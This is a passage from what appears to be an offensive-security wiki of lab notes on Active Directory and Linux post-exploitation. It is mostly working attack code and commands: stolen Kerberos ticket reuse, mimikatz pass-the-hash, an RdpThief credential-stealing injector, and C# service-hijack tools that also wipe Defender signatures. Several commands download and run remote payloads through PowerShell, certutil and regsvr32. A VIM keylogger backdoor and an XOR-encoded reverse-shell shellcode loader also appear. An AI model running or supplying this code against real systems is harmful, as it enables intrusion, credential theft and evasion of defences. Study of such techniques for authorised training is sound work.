offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
